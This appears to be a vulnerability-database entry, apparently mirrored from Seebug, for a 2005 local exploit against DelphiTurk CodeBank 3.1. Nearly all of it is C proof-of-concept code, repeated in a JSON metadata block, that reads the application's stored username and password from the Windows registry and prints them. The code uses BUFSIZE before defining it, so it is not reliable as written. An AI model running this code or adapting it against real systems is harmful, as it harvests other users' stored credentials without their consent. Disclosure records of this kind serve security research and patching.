Search...

DelphiTurk CodeBank 3.1 Local Username and Password Disclosure

2005-02-08T00:00:00

ID SSV:14297
Type seebug
Reporter Root
Modified 2005-02-08T00:00:00

Description

No description provided by source.

                                        
                                            
                                                /*******************************************************************
 
DelphiTurk CodeBank Local Exploit
 
Application: DelphiTurk CodeBank 3.1 (and previous versions)
Procuder: Delphiturk.com
Vulnerable Description: Delhiturk CodeBank discloses username and password to
local users.
 
 
Coded by: Kozan
Web: www.netmagister.com
Mail: kozan[at]netmagister[dot]com
 
*******************************************************************/
 
 
#include &lt;stdio.h&gt;
#include &lt;windows.h&gt;
 
HKEY hKey;
char username[BUFSIZE], password[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;
#define BUFSIZE 100
 
int main(void)
{
 
	 if(RegOpenKeyEx(HKEY_CURRENT_USER,
					&quot;Software\\DelphiTurk\\Codebank&quot;,
					0,
					KEY_QUERY_VALUE,
					&amp;hKey) == ERROR_SUCCESS)
	 {
 
            lRet = RegQueryValueEx( hKey, &quot;username&quot;, NULL, NULL,
               (LPBYTE) username, &amp;dwBufLen);
 
			if( (lRet != ERROR_SUCCESS) || (dwBufLen &gt; BUFSIZE) ){
				 RegCloseKey(hKey);
				 printf(&quot;En error occured!&quot;);
				 return 0;
			}
 
 
			lRet = RegQueryValueEx( hKey, &quot;password&quot;, NULL, NULL,
               (LPBYTE) password, &amp;dwBufLen);
 
			if( (lRet != ERROR_SUCCESS) || (dwBufLen &gt; BUFSIZE) ){
				 RegCloseKey(hKey);
				 printf(&quot;En error occured!&quot;);
				 return 0;
			}
            RegCloseKey( hKey );
			printf(&quot;DelphiTurk CodeBank Local Exploit by Kozan\n\n&quot;);
			printf(&quot;Username: %s\n&quot;,username);
			printf(&quot;Password: %s\n&quot;,password);
 
 
	 }
	 else{
		 printf(&quot;DelphiTurk Codebank is not installed on your system!&quot;);
	 }
 
 
	return 0;
}


// sebug.net

JSON Vulners Source

Initial Source

{"href": "https://www.seebug.org/vuldb/ssvid-14297", "status": "poc", "bulletinFamily": "exploit", "modified": "2005-02-08T00:00:00", "title": "DelphiTurk CodeBank 3.1 Local Username and Password Disclosure", "cvss": {"vector": "NONE", "score": 0.0}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-14297", "cvelist": [], "description": "No description provided by source.", "viewCount": 2, "published": "2005-02-08T00:00:00", "sourceData": "\n /*******************************************************************\r\n \r\nDelphiTurk CodeBank Local Exploit\r\n \r\nApplication: DelphiTurk CodeBank 3.1 (and previous versions)\r\nProcuder: Delphiturk.com\r\nVulnerable Description: Delhiturk CodeBank discloses username and password to\r\nlocal users.\r\n \r\n \r\nCoded by: Kozan\r\nWeb: www.netmagister.com\r\nMail: kozan[at]netmagister[dot]com\r\n \r\n*******************************************************************/\r\n \r\n \r\n#include <stdio.h>\r\n#include <windows.h>\r\n \r\nHKEY hKey;\r\nchar username[BUFSIZE], password[BUFSIZE];\r\nDWORD dwBufLen=BUFSIZE;\r\nLONG lRet;\r\n#define BUFSIZE 100\r\n \r\nint main(void)\r\n{\r\n \r\n\t if(RegOpenKeyEx(HKEY_CURRENT_USER,\r\n\t\t\t\t\t"Software\\\\DelphiTurk\\\\Codebank",\r\n\t\t\t\t\t0,\r\n\t\t\t\t\tKEY_QUERY_VALUE,\r\n\t\t\t\t\t&hKey) == ERROR_SUCCESS)\r\n\t {\r\n \r\n lRet = RegQueryValueEx( hKey, "username", NULL, NULL,\r\n (LPBYTE) username, &dwBufLen);\r\n \r\n\t\t\tif( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){\r\n\t\t\t\t RegCloseKey(hKey);\r\n\t\t\t\t printf("En error occured!");\r\n\t\t\t\t return 0;\r\n\t\t\t}\r\n \r\n \r\n\t\t\tlRet = RegQueryValueEx( hKey, "password", NULL, NULL,\r\n (LPBYTE) password, &dwBufLen);\r\n \r\n\t\t\tif( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){\r\n\t\t\t\t RegCloseKey(hKey);\r\n\t\t\t\t printf("En error occured!");\r\n\t\t\t\t return 0;\r\n\t\t\t}\r\n RegCloseKey( hKey );\r\n\t\t\tprintf("DelphiTurk CodeBank Local Exploit by Kozan\\n\\n");\r\n\t\t\tprintf("Username: %s\\n",username);\r\n\t\t\tprintf("Password: %s\\n",password);\r\n \r\n \r\n\t }\r\n\t else{\r\n\t\t printf("DelphiTurk Codebank is not installed on your system!");\r\n\t }\r\n \r\n \r\n\treturn 0;\r\n}\r\n\n\n// sebug.net\n\n ", "id": "SSV:14297", "enchantments_done": [], "type": "seebug", "lastseen": "2017-11-19T22:37:24", "reporter": "Root", "enchantments": {"score": {"value": -0.2, "vector": "NONE", "modified": "2017-11-19T22:37:24", "rev": 2}, "dependencies": {"references": [], "modified": "2017-11-19T22:37:24", "rev": 2}, "vulnersScore": -0.2}, "references": []}